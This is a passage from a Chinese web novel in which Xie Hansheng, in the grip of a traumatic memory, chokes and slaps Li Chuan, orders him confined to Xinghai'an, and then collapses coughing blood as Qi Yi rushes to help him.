从最信任的人嘴里说出的这些伤人的话语,比子弹先一步穿透他的心脏。
解寒声全身的肌肉骤然紧绷,牙关不受控制地咬死,手腕上检测生命体征的手表发出滴滴的警报声。
他猛地扯下来,来丢到一旁。
空气越来越稀薄,呼吸愈发急促紊乱,等解寒声从回忆中挣扎出一丝清明时,才发现自己的一只手已经扼在了黎川的脖颈上。
他五指发颤,被仇恨和恐惧驱使着收紧。
“唔…”
身下的人猛地睁开了眼,眼底迷茫又惊恐,很快便被生理性的窒息所覆盖,几乎就要翻起白眼。
他蹬了一下腿,也是同一时间,解寒声松开了手。
咔哒一声脆响,黎川脖颈上那个游客专属的红环应声而断。
变故来的太快,还不等黎川把这一系列事情捋清,眼前光影陡然一晃。
啪!
一记耳光结结实实地甩在他脸上,力道不轻,当即便炸开一阵火辣辣的痛感。
解寒声的脸近在咫尺,那双漂亮的眼睛里翻涌着他看不懂的情绪,眼尾甚至因为激动而微微泛红。
他用眼角扫过他,几乎是恶狠狠地从齿缝中挤出几个字,“谁准你睡的?”
黎川立刻撑着手臂坐起身,他脸颊红肿,呼吸仍未平复,抬眼望向解寒声,后者却早已从他身上挪开视线,头也不回地朝着画室门口走去。
解寒声背对他丢下一句:“从今天起,你就待在这里,没有我的允许,不得离开星海岸半步。”
黎川怔怔望着他的背影,看着他推门而出。
门外走廊,两排持枪的守卫肃立在两侧,齐刷刷鞠躬,异口同声,“会长。”
解寒声没理会,抬手死死地按在左胸心脏的位置,脚步起初还算稳,沿着地毯向前走,胸口却传来一阵越发剧烈的压榨性疼痛。
他越走越慢,脚步逐渐虚浮踉跄,额角渗出的汗顺着脸颊淌进脖颈,视线开始模糊摇晃。
就在此时,走廊另一端出现了一个熟悉的身影,接到了监测警报的齐奕循着定位匆匆赶来。
“解寒声,你发作了,怎么还敢四处乱走!”
“药呢,是不是又没按时吃药?”
说来也奇怪,在看清齐奕那张焦急的面容时,解寒声一直紧绷的那根神经蓦然松了一下。
他看见齐奕冲上来的动作被无限拉长、放缓,就像是电影里的慢镜头。
强撑的那口气突然散了,解寒声感觉自己的身体顿时千斤重,眼前一黑,便不受控制往前栽。
“解寒声!”
“会长!”
一股腥甜在四周的惊呼声中急剧冲上喉头,解寒声被搀扶的身体一颤,弯身呛出一口血。